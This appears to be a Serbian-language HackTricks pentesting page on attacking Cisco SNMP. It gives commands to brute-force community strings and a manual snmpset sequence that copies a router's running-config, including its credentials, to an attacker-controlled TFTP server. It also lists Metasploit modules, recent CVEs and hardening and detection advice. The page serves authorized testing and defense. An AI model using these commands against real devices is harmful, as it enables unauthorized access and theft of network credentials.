96 lines
4.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cisco SNMP
{{#include ../../banners/hacktricks-training.md}}
## Pentesting Cisco Networks
**SNMP** funkcioniše preko UDP-a sa portovima **161/UDP** za opšte poruke i **162/UDP** za trap poruke. Ovaj protokol se oslanja na *community strings*, koji služe kao plaintext "lozinke" koje omogućavaju komunikaciju između SNMP agenata i menadžera. Ove stringove određuju nivo pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**.
Klasičan—ali i dalje izuzetno efikasan—napadni vektor je **brute-force community strings** kako bi se unapredilo sa neautentifikovanog korisnika na administratora uređaja (RW community). Praktičan alat za ovu svrhu je [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c community_strings.txt -i targets.txt
```
Druge brze opcije su Nmap NSE skripta `snmp-brute` ili Hydra-ov SNMP modul:
```bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
Ako dobijete **RW zajednicu**, možete kopirati running-config/startup-config na TFTP/FTP server *bez CLI pristupa* zloupotrebom CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Dva uobičajena pristupa su:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
Skripta automatski orkestrira operaciju kopiranja i ispisuje konfiguraciju na stdout.
2. **Ručno `snmpset` sekvenca**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
Row identifikatori su *jednokratni*; ponovna upotreba unutar pet minuta izaziva `inconsistentValue` greške.
Kada je datoteka na vašem TFTP serveru, možete pregledati kredencijale (`enable secret`, `username <user> secret`, itd.) ili čak poslati izmenjenu konfiguraciju nazad na uređaj.
---
### Metasploit dobrote
* **`cisco_config_tftp`** preuzima running-config/startup-config putem TFTP nakon zloupotrebe iste MIB.
* **`snmp_enum`** prikuplja informacije o inventaru uređaja, VLAN-ovima, opisima interfejsa, ARP tabelama, itd.
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## Nedavne Cisco SNMP ranjivosti (2023 2025)
Praćenje saveta proizvođača je korisno za određivanje *zero-day-to-n-day* prilika unutar angažovanja:
| Godina | CVE | Pogođena funkcija | Uticaj |
|--------|-----|-------------------|--------|
| 2025 | CVE-2025-20174 | SNMP podsystem | Prilagođeni paket dovodi do autentifikovanog *DoS* (reload) na IOS/IOS-XE (v1/v2c/v3). |
| 2024 | CVE-2024-20373 | IPv4 ACL rukovanje | Pogrešno konfigurisane **proširene** ACL-ove tiho *ne uspevaju*, omogućavajući neautentifikovano SNMP polling kada je poznata validna zajednica/korisnik. |
| 2025 | (nema CVE još) | Obilaženje ograničenja konfiguracije SNMPv3 | Validan v3 korisnik može da polluje sa adresa koje bi trebale biti odbijene. |
Iskoristivost često i dalje zavisi od posedovanja zajedničkog stringa ili v3 kredencijala—još jedan razlog zašto je njihovo brute-forcing i dalje relevantno.
---
## Saveti za učvršćivanje i detekciju
* Ažurirajte na fiksnu verziju IOS/IOS-XE (videti Cisco savet za gornji CVE).
* Preferirajte **SNMPv3** sa `authPriv` (SHA-256/AES-256) umesto v1/v2c.
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* Povežite SNMP sa upravljačkim VRF-om i **ograničite sa *standardnim* numerisanim IPv4 ACL-ovima** (prošireni imenovani ACL-ovi su rizični CVE-2024-20373).
* Onemogućite **RW zajednice**; ako je operativno potrebno, ograničite ih sa ACL i pogledima:
`snmp-server community <string> RW 99 view SysView`
* Pratite:
- UDP/161 skokove ili neočekivane izvore (SIEM pravila).
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` događaje koji ukazuju na promene konfiguracije van kanala.
* Omogućite **SNMPv3 logovanje** i `snmp-server packetsize 1500` da smanjite određene DoS vektore.
---
## Reference
- Cisco: *Kako kopirati konfiguracije na i sa Cisco uređaja koristeći SNMP*
- Cisco sigurnosni savet *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}